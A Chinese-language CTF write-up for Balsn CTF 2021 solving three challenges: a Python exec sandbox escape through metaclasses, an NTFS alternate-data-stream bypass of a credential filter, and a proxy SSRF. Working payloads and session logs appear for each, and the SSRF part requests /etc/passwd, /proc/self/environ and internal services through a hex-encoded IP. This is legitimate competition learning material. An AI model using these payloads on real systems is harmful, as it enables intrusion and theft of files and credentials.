balsn-2021-writeup
戰績
Metaeasy
題目
server code
class MasterMetaClass(type):
def __new__(cls, class_name, class_parents, class_attr):
def getFlag(self):
print('Here you go, my master')
with open('flag') as f:
print(f.read())
class_attr[getFlag.__name__] = getFlag
attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
newclass = super().__new__(cls, class_name, class_parents, class_attr)
return newclass
def __init__(*argv):
print('Bad guy! No Flag !!')
raise 'Illegal'
class BalsnMetaClass(type):
def getFlag(self):
print('You\'re not Master! No Flag !!')
def __new__(cls, class_name, class_parents, class_attr):
newclass = super().__new__(cls, class_name, class_parents, class_attr)
setattr(newclass, cls.getFlag.__name__, cls.getFlag)
return newclass
def secure_vars(s):
attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
return attrs
safe_dict = {
'BalsnMetaClass' : BalsnMetaClass,
'MasterMetaClass' : MasterMetaClass,
'False' : False,
'True' : True,
'abs' : abs,
'all' : all,
'any' : any,
'ascii' : ascii,
'bin' : bin,
'bool' : bool,
'bytearray' : bytearray,
'bytes' : bytes,
'chr' : chr,
'complex' : complex,
'dict' : dict,
'dir' : dir,
'divmod' : divmod,
'enumerate' : enumerate,
'filter' : filter,
'float' : float,
'format' : format,
'hash' : hash,
'help' : help,
'hex' : hex,
'id' : id,
'int' : int,
'iter' : iter,
'len' : len,
'list' : list,
'map' : map,
'max' : max,
'min' : min,
'next' : next,
'oct' : oct,
'ord' : ord,
'pow' : pow,
'print' : print,
'range' : range,
'reversed' : reversed,
'round' : round,
'set' : set,
'slice' : slice,
'sorted' : sorted,
'str' : str,
'sum' : sum,
'tuple' : tuple,
'type' : type,
'vars' : secure_vars,
'zip' : zip,
'__builtins__':None
}
def createMethod(code):
if len(code) > 45:
print('Too long!! Bad Guy!!')
return
for x in ' _$#@~':
code = code.replace(x,'')
def wrapper(self):
exec(code, safe_dict, {'self' : self})
return wrapper
def setName(pattern):
while True:
name = input(f'Give me your {pattern} name :')
if (name.isalpha()):
break
else:
print('Illegal Name...')
return name
def setAttribute(cls):
attrName = setName('attribute')
while True:
attrValue = input(f'Give me your value:')
if (attrValue.isalnum()):
break
else:
print('Illegal value...')
setattr(cls, attrName, attrValue)
def setMethod(cls):
methodName = setName('method')
code = input(f'Give me your function:')
func = createMethod(code)
setattr(cls, methodName, func)
def getAttribute(obj):
attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the attribute\'s name :')
if x not in attrs:
print(f'You can\'t access the attribute {x}')
return
else:
try:
print(f'{x}: {getattr(obj, x)}')
except:
print("Something went wrong in your attribute...")
return
def callMethod(cls, obj):
attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the method\'s name :')
if x not in attrs:
print(f'You can\'t access the method {x}')
return
else:
try:
print(f'calling method {x}...')
cls.__dict__[x](obj)
print('done')
except:
print('Something went wrong in your method...')
return
class Guest(metaclass = BalsnMetaClass):
pass
if __name__ == '__main__':
print(f'Welcome!!We have prepared a class named "Guest" for you')
cnt = 0
while cnt < 3:
cnt += 1
print('1. Add attribute')
print('2. Add method')
print('3. Finish')
x = input("Option ? :")
if x == "1":
setAttribute(Guest)
elif x == "2":
setMethod(Guest)
elif x == "3":
break
else:
print("invalid input.")
cnt -= 1
print("Well Done! We Create an instance for you !")
obj = Guest()
cnt = 0
while cnt < 3:
cnt += 1
print('1. Inspect attribute')
print('2. Using method')
print('3. Exit')
x = input("Option ? :")
if x == "1":
getAttribute(obj)
elif x == "2":
callMethod(Guest, obj)
elif x == "3":
print("Okay...exit...")
break
else:
print("invalid input.")
cnt -= 1
目標
使用MasterMetaClass這個MetaClass建立一個class並調用裡面的IWantGETFLAGPlz func
限制
- payload 不可超過三行
- payload 一行要低於45字
- payload 不可含[' ‘, ‘_’, ‘$’, ‘#’, ‘@’, ‘~']字元
payload
a=b'\x5f\x5f'.decode();self.i=a+'init'+a
self.d=['',(MasterMetaClass,),{self.i:print}]
type(*self.d)('',(),{})().IWantGETFLAGPlz()
root@jimmyGW:~# nc metaeasy.balsnctf.com 19092
Welcome!!We have prepared a class named "Guest" for you
1. Add attribute
2. Add method
3. Finish
Option ? :2
Give me your method name :aaa
Give me your function:a=b'\x5f\x5f'.decode();self.i=a+'init'+a
1. Add attribute
2. Add method
3. Finish
Option ? :2
Give me your method name :bbb
Give me your function:self.d=['',(MasterMetaClass,),{self.i:print}]
1. Add attribute
2. Add method
3. Finish
Option ? :2
Give me your method name :ccc
Give me your function:type(*self.d)('',(),{})().IWantGETFLAGPlz()
Well Done! We Create an instance for you !
1. Inspect attribute
2. Using method
3. Exit
Option ? :2
Please enter the method's name :aaa
calling method aaa...
done
1. Inspect attribute
2. Using method
3. Exit
Option ? :2
Please enter the method's name :bbb
calling method bbb...
done
1. Inspect attribute
2. Using method
3. Exit
Option ? :2
Please enter the method's name :ccc
calling method ccc...
() {'getFlag': <function MasterMetaClass.__new__.<locals>.getFlag at 0x7f06a60c2550>}
Here you go, my master
BALSN{Metaclasses_Are_Deeper_Magic_Than_99%_Of_Users_Should_Ever_Worry_About._If_You_Wonder_Whether_You_Need_Them,_You_Don't.-Tim_Peters_DE8560A2}
done
flag
BALSN{Metaclasses_Are_Deeper_Magic_Than_99%_Of_Users_Should_Ever_Worry_About._If_You_Wonder_Whether_You_Need_Them,_You_Don’t.-Tim_Peters_DE8560A2}
參考
DarkKnight
題目
server code
import os
import shutil
base_dir = f"C:\\Users\\balsnctf\\Documents\\Dark Knight\\tmp-{os.urandom(16).hex()}"
def init():
os.mkdir(base_dir)
os.chdir(base_dir)
with open("39671", "w") as f:
f.write("alice\nalice1025")
with open("683077", "w") as f:
f.write("bob\nbob0105a")
def password_manager():
print("use a short pin code to achieve fast login!!")
while True:
pin = input("enter a pin code > ")
if len(pin) > 100:
print("too long...")
continue
if "\\" in pin or "/" in pin or ".." in pin or "*" in pin:
print("what do you want to do?(¬_¬)")
continue
flag = True
for c in pin.encode("utf8"):
if c > 0x7e or c < 0x20:
print("printable chars only!!")
flag = False
break
if flag:
break
while True:
username = input("enter username > ")
if len(username) > 100:
print("too long...")
continue
for c in username.encode("utf8"):
if c > 0x7e or c < 0x20:
print("printable chars only!!")
flag = False
break
if flag:
break
while True:
password = input("enter password > ")
if len(password) > 100:
print("too long...")
continue
for c in password.encode("utf8"):
if c > 0x7e or c < 0x20:
print("printable chars only!!")
flag = False
break
if flag:
break
try:
with open(pin, "w") as f:
f.write(username + "\n" + password)
print("saved!!")
except OSError:
print("pin is invalid!!")
def safety_guard():
print("safety guard activated. will delete all unsafe credentials hahaha...")
delete_file = []
for pin in os.listdir("."):
safe = True
with open(pin, "r") as f:
data = f.read().split("\n")
if len(data) != 2:
safe = False
elif len(data[0]) == 0 or len(data[1]) == 0:
safe = False
elif data[0].isalnum() == False or data[1].isalnum() == False:
safe = False
elif data[0] == "admin":
safe = False
if safe == False:
os.remove(pin)
delete_file.append(pin)
print(f"finished. delete {len(delete_file)} unsafe credentials: {delete_file}")
def fast_login():
while True:
pin = input("enter a pin code > ")
if len(pin) > 100:
print("too long...")
continue
if "\\" in pin or "/" in pin or ".." in pin:
print("what do you want to do?(¬_¬)")
continue
flag = True
for c in pin.encode("utf8"):
if c > 0x7e or c < 0x20:
print("printable chars only!!")
flag = False
break
if flag:
break
try:
with open(pin, "r") as f:
data = f.read().split("\n")
if len(data) != 2:
print("unknown error happened??")
return None, None
return data[0], data[1]
except FileNotFoundError:
print("this pin code is not registered.")
return None, None
def normal_login():
while True:
username = input("enter username > ")
if len(username) > 100:
print("too long...")
elif username.isalnum() == False:
print("strange username, huh?")
elif username == "admin":
print("no you are definitely not (╬ Ò ‸ Ó)")
else:
break
while True:
password = input("enter password > ")
if len(password) > 100:
print("too long...")
continue
elif password.isalnum() == False:
print("strange password, huh?")
else:
break
return username, password
def login():
safety_guard()
while True:
print("1. fast login")
print("2. normal login")
print("3. exit")
x = input("enter login type > ")
if x == "1":
username, password = fast_login()
elif x == "2":
username, password = normal_login()
elif x == "3":
print("bye-bye~")
return
else:
print("invalid input.")
continue
if username != None and password != None:
print(f"hello, {username}.")
if username == "admin":
while True:
x = input("do you want the flag? (y/n): ")
if x == "n":
print("OK, bye~")
return
elif x == "y":
break
else:
print("invalid input.")
while True:
x = input("beg me: ")
if x == "plz":
print("ok, here is your flag: BALSN{flag is here ...}")
break
return
def main():
init()
try:
while True:
print("1. passord manager")
print("2. login")
print("3. exit")
x = input("what do you want to do? > ")
if x == "1":
password_manager()
elif x == "2":
login()
elif x == "3":
print("bye-bye~")
break
else:
print(f"invalid input: {x}")
except KeyboardInterrupt:
print("bye-bye~")
except:
print("unexpected error occured.")
os.chdir("../")
shutil.rmtree(base_dir)
if __name__ == "__main__":
main()
目標
使用login選項成功登入admin
限制
- 用 normal_login 會直接被檔
- login 前,所有在 passord manager 所建立的 fast_login 檔若包含’admin’會被刪
- 做 passord manager 時 pin(filename) 不可包含['\’, ‘/’, ‘..’, ‘*'] 字串
payload
因為 server 是 windows os ,所以可以用alternate_stream_name繞過 如:C:\user\docs\somefile.ext:alternate_stream_name
root@jimmyGW:~# nc darkknight.balsnctf.com 8084
1. passord manager
2. login
3. exit
what do you want to do? > 1
use a short pin code to achieve fast login!!
enter a pin code > 39671:aaa
enter username > admin
enter password > aaaa
saved!!
1. passord manager
2. login
3. exit
what do you want to do? > 2
safety guard activated. will delete all unsafe credentials hahaha...
finished. delete 0 unsafe credentials: []
1. fast login
2. normal login
3. exit
enter login type > 1
enter a pin code > 39671:aaa
hello, admin.
do you want the flag? (y/n): y
beg me: plz
ok, here is your flag: BALSN{however_Admin_passed_the_Dark_knight_with_hiding_behind_Someone}
1. passord manager
2. login
3. exit
what do you want to do? > 3
bye-bye~
flag
BALSN{however_Admin_passed_the_Dark_knight_with_hiding_behind_Someone}
參考
Introduction to ADS – Alternate Data Streams
DarkKnight
題目
解題
進來看到這個
試著 http://proxy.balsnctf.com/query?site=http://www.google.com
試著 ssrf http://proxy.balsnctf.com/query?site=file:///etc/passwd
試著 http://proxy.balsnctf.com/query?site=file:///proc/self/environ
試著 http://proxy.balsnctf.com/query?site=file:///proc/net/tcp
試著 http://proxy.balsnctf.com/query?site=http://127.0.0.1:15000
試著 http://proxy.balsnctf.com/query?site=http://127.0.0.1:15000/stats
試著 http://proxy.balsnctf.com/query?site=http://0X0A2C03F0:39307
試著 http://proxy.balsnctf.com/query?site=http://0X0A2C03F0:39307/flag
炸
試著 http://proxy.balsnctf.com/query?site=http://0X0A2C03F0:39307//flag
過
flag
BALSN{default_istio_service_mesh_envoy_configurations}